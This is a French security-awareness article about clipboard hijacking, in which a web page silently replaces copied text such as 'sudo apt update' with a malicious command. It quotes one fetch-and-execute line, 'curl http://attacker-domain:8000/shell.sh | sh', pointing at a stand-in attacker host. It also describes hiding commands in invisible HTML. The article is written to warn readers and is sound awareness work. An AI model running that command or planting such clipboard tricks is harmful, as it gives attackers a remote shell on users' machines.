Ne pas faire du copier-coller de commandes à partir de pages Web – vous pouvez vous faire pirater

Les programmeurs, administrateurs système, chercheurs en sécurité et amateurs de technologie qui copient-collent des commandes de pages Web dans une console ou un terminal sont avertis qu’ils risquent de voir leur système compromis.

Un technologue montre une astuce simple qui vous fera réfléchir à deux fois avant de copier et de coller du texte à partir de pages Web.

Porte dérobée sur votre presse-papiers ?

Récemment, Gabriel Friedlander, fondateur de la plate-forme de formation à la sensibilisation à la sécurité Wizer, a démontré un piratage évident mais surprenant qui vous empêchera de copier-coller des commandes à partir de pages Web.

Il n’est pas rare que les développeurs débutants comme expérimentés copient les commandes couramment utilisées à partir d’une page Web (ahem, StackOverflow) et les collent dans leurs applications, une invite de commande Windows ou un terminal Linux.

Mais Friedlander prévient qu’une page Web pourrait remplacer secrètement le contenu de ce qui se trouve dans votre presse-papiers, et ce qui finirait par être copié dans votre presse-papiers serait très différent de ce que vous aviez l’intention de copier.

Pire, sans la diligence raisonnable nécessaire, le développeur ne peut se rendre compte de son erreur qu’après avoir collé le texte, auquel cas il peut être trop tard.

Dans une simple preuve de concept (PoC) publiée sur son blog, Friedlander demande aux lecteurs de  copier une commande simple que la plupart des administrateurs système et des développeurs connaissent :

Commande PoC à copier-coller
La page HTML de Friedlander avec une simple commande que vous pouvez copier dans le presse-papiers

Maintenant, collez ce que vous avez copié du blog de Friedlander dans une zone de texte ou un bloc-notes, et le résultat risque de vous surprendre :curl http://attacker-domain:8000/shell.sh | sh

Non seulement vous obtenez une commande complètement différente présente sur votre presse-papiers, mais pour aggraver les choses, elle a un caractère de nouvelle ligne (ou retour) à la fin. 

Cela signifie que l’exemple ci-dessus s’exécutera dès qu’il sera collé directement dans un terminal Linux.

Ceux qui ont collé le texte ont peut-être eu l’impression qu’ils copiaient la commande familière et inoffensive sudo apt update  qui est utilisée pour récupérer des informations mises à jour sur les logiciels installés sur votre système.

Mais ce n’est pas tout à fait ce qui s’est passé.

Qu’est-ce qui cause cela?

La magie réside dans le code JavaScript caché derrière la configuration de la page HTML PoC par Friedlander.

Dès que vous copiez le texte « sudo apt update »  contenu dans un élément HTML, l’extrait de code, présenté ci-dessous s’exécute. 

Ce qui se passe ensuite, c’est un « écouteur d’événement » JavaScript qui capture l’événement de copie et remplace les données du presse-papiers par le code de test malveillant de Friedlander :

PoC JavaScript code
Code JavaScript PoC qui remplace le contenu du presse-papiers

Notez que les écouteurs d’événements ont une variété de cas d’utilisation légitimes en JavaScript, mais ce n’est qu’un exemple de la façon dont ils pourraient être mal utilisés.

« C’est pourquoi vous ne devez JAMAIS copier de commandes coller directement dans votre terminal », prévient Friedlander.

« Vous pensez que vous copiez une chose, mais elle est remplacée par autre chose, comme du code malveillant. Il suffit d’une seule ligne de code injectée dans le code que vous avez copié pour créer une porte dérobée vers votre application. »

« Cette attaque est très simple mais aussi très nocive. »

Un utilisateur de Reddit a également présenté un exemple alternatif de cette astuce qui ne nécessite pas de JavaScript : du texte invisible créé avec des styles HTML et CSS qui est copié dans votre presse-papiers lorsque vous copiez les parties visibles du texte :

Le HTML invisible  (à gauche) est récupéré lors du copier-coller et a une ligne supplémentaire  (à droite)
Source : JsFiddle

« Le problème n’est pas seulement que le site Web peut modifier le contenu de votre presse-papiers à l’aide de JavaScript », explique l’utilisateur,  SwallowYourDreams .

« Il pourrait aussi simplement masquer des commandes dans le code HTML qui sont invisibles à l’œil humain, mais qui seront copiées par l’ordinateur. »

Et donc, une autre raison de ne jamais faire confiance aveuglément à ce que vous copiez à partir d’une page Web : mieux vaut le coller d’abord dans un éditeur de texte.

Une leçon simple, mais néanmoins importante, de la sécurité au quotidien.

5/5 - (2 votes)

Mises à jour de la newsletter

Saisissez votre adresse e-mail ci-dessous pour vous abonner à notre newsletter

Laisser un commentaire